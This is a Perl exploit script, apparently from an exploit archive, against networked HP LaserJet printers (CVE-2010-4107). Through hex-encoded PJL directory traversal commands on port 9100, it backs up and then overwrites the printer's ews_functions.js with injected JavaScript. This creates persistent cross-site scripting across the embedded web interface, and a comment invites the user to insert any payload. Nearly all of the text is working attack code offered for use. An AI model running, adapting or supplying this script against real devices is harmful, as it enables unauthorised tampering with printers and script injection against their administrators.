HP Laser Jet – JavaScript Persistent Cross-Site Scripting via PJL Directory Traversal
#!/usr/bin/perl use strict; use warnings; use IO::Socket::INET; my $host = $ARGV[0]; # Exploit Title: HP Laser Jet Persistent Javascript Cross Site Scripting via PJL # Google Dork: n/a # Date: 4/22/14 # Exploit Author: @0x00string # Vendor Homepage: http://www.hp.com/products1/laserjetprinters/ # Software Link: n/a # Version: HP LaserJet P/M xxxx (LaserJets with network conectivity, PJL and onboard storage) # Tested on: P4015n, P2035n, P4014, M3035 MFP, CP 3525, etc. # CVE : CVE-2010-4107, # This script will infect all pages on HP laserjets which include ews_functions.js by appending javascript to the ews_functions.js file by leveraging the PJL Directory Traversal print "\t _______ __ __ _______ _______ _______ _______ ______ ___ __ _ _______ \t| _ || |_| || _ || _ || || || _ | | | | | | || | \t| | | || || | | || | | || _____||_ _|| | || | | | |_| || ___| \t| | | || || | | || | | || |_____ | | | |_||_ | | | || | __ \t| |_| | | | | |_| || |_| ||_____ | | | | __ || | | _ || || | \t| || _ || || | _____| | | | | | | || | | | | || |_| | \t|_______||__| |__||_______||_______||_______| |___| |___| |_||___| |_| |__||_______| \t HP Laser Jet persistent Javascript XSS \t via PJL Dir Trav\n\n"; $| = 1; infect($host); sub infect { my $co = 0; my (@returned, $temp, @files, @sizes, $size, $data); my $socket = new IO::Socket::INET ( PeerHost => $host, PeerPort => '9100', Proto => 'tcp', ) or die $!; if ($socket) { $data = "\x1b\x25\x2d\x31\x32". "\x33\x34\x35\x58\x40". "\x50\x4a\x4c\x20\x46". "\x53\x44\x49\x52\x4c". "\x49\x53\x54\x20\x4e". "\x41\x4d\x45\x20\x3d". "\x20\x22\x30\x3a\x5c". "\x5c\x77\x65\x62\x53". "\x65\x72\x76\x65\x72". "\x5c\x5c\x68\x6f\x6d". "\x65\x5c\x5c\x6a\x73". "\x66\x69\x6c\x65\x73". "\x5c\x5c\x22\x20\x45". "\x4e\x54\x52\x59\x3d". "\x31\x20\x43\x4f\x55". "\x4e\x54\x3d\x39\x39". "\x39\x0a\x0d\x1b\x25". "\x2d\x31\x32\x33\x34\x35\x58"; #print "\n$data\n"; $socket = tx($socket, $data); ($socket, $temp) = rx($socket); #print "\n$temp\n"; @returned = split('\n', $temp); foreach(@returned) { if ($_ =~ /(.*?)\ TYPE\=FILE\ SIZE\=(\d{1,99})/) { push(@files, $1); push(@sizes, $2); } } } my $two = 0; foreach(@files) { if ($_ =~ /RestrictColor\.js/ || $_ =~ /ews_functions\.js/) { $two++; } } if ($two > 1) { if ($socket) { while ($co < scalar(@files)) { if ($files[$co] =~ /ews/) { $size = $sizes[$co]; $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x55\x50". "\x4c\x4f\x41\x44\x20\x4e\x41\x4d\x45". "\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77". "\x65\x62\x53\x65\x72\x76\x65\x72\x5c". "\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73". "\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77". "\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f". "\x6e\x73\x2e\x6a\x73\x22\x20\x4f\x46". "\x46\x53\x45\x54\x3d\x30\x20\x53\x49". "\x5a\x45\x20\x3d\x20" . $size. "\x0d\x0a"; } $co++; } $temp = undef; #print "\n$data\n"; $socket = tx($socket, $data); $data = undef; if ($socket) { ($socket, $temp) = rx($socket, $size); #print "\n$temp\n"; my @original = split('\n', $temp); $temp = ""; shift(@original); foreach(@original) { $temp = $temp . $_ . "\n"; } #print $temp; } } } $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x41\x50". "\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d". "\x41\x54\x3a\x42\x49\x4e\x41\x52\x59". "\x20\x4e\x41\x4d\x45". "\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77". "\x65\x62\x53\x65\x72\x76\x65\x72\x5c". "\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73". "\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77". "\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f". "\x6e\x73\x2e\x42\x41\x4b". "\x22\x20\x53\x49\x5a\x45\x20\x3d\x20". length($temp) . "\x0d\x0a". $temp. "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58"; #print $data; if ($socket) { #print "\n$data\n"; $socket = tx($socket, $data); ($socket, $temp) = rx($socket); #print "\n$temp\n"; } if ($socket) { $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x51\x55". "\x45\x52\x59\x20\x4e\x41\x4d\x45\x20". "\x3d\x20\x22\x30\x3a\x5c\x5c\x77\x65". "\x62\x53\x65\x72\x76\x65\x72\x5c\x5c". "\x68\x6f\x6d\x65\x5c\x5c\x6a\x73\x66". "\x69\x6c\x65\x73\x5c\x5c\x65\x77\x73". "\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e". "\x73\x2e\x42\x41\x4b\x22\x0d\x0a"; #print "\n$data\n"; $socket = tx($socket, $data); ($socket, $temp) = rx($socket); #print "\n$temp\n"; exit(0) unless ($temp =~ /ews\_functions\.BAK/); } if ($socket) { my $payload = "\x76\x61\x72\x20\x65\x78\x70\x6c\x6f". "\x69\x74\x20\x3d\x20\x64\x6f\x63\x75". "\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61". "\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74". "\x28\x22\x64\x69\x76\x22\x29\x3b\x20". "\x65\x78\x70\x6c\x6f\x69\x74\x2e\x69". "\x6e\x6e\x65\x72\x48\x54\x4d\x4c\x20". "\x3d\x20\x27\x3c\x64\x69\x76\x3e\x3c". "\x66\x6f\x6e\x74\x20\x73\x69\x7a\x65". "\x3d\x35\x30\x3e". "\x41\x41\x41\x41" . "\x3c". # <--- this is being added to the page as an element. put whatever you'd like here, but check your lengths! "\x2f\x66\x6f\x6e\x74\x3e\x3c\x2f\x64". "\x69\x76\x3e\x27\x3b\x20\x64\x6f\x63". "\x75\x6d\x65\x6e\x74\x2e\x67\x65\x74". "\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42". "\x79\x54\x61\x67\x4e\x61\x6d\x65\x28". "\x27\x62\x6f\x64\x79\x27\x29\x5b\x30". "\x5d\x2e\x61\x70\x70\x65\x6e\x64\x43". "\x68\x69\x6c\x64\x28\x65\x78\x70\x6c". "\x6f\x69\x74\x29\x3b"; $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x41\x50". "\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d". "\x41\x54\x3a\x42\x49\x4e\x41\x52\x59". "\x20\x4e\x41\x4d\x45\x20\x3d\x22\x30". "\x3a\x5c\x5c\x77\x65\x62\x53\x65\x72". "\x76\x65\x72\x5c\x5c\x68\x6f\x6d\x65". "\x5c\x5c\x6a\x73\x66\x69\x6c\x65\x73". "\x5c\x5c\x65\x77\x73\x5f\x66\x75\x6e". "\x63\x74\x69\x6f\x6e\x73\x2e\x6a\x73". "\x22\x20\x53\x49\x5a\x45\x20\x3d\x20". length($payload) . "\x0d\x0a". $payload. "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58"; $socket = tx($socket, $data); exit(0); } } sub tx { my $socket = shift; my $data = shift; $socket->send($data) or die $!; return $socket; } sub rx { my $socket = shift; my $second_size = shift; unless ($second_size) { $second_size = 2048; } my $data = undef; eval { local $SIG{ALRM} = sub { die 'Timed Out'; }; alarm 10; $socket->recv($data, 2048); if ($data) { while (length($data) < (length($data) + $second_size)) { my $moar; $socket->recv($moar, length($second_size + 1)); $data = $data . $moar; } alarm 0; return ($socket, $data); } }; alarm 0; return($socket, $data); } |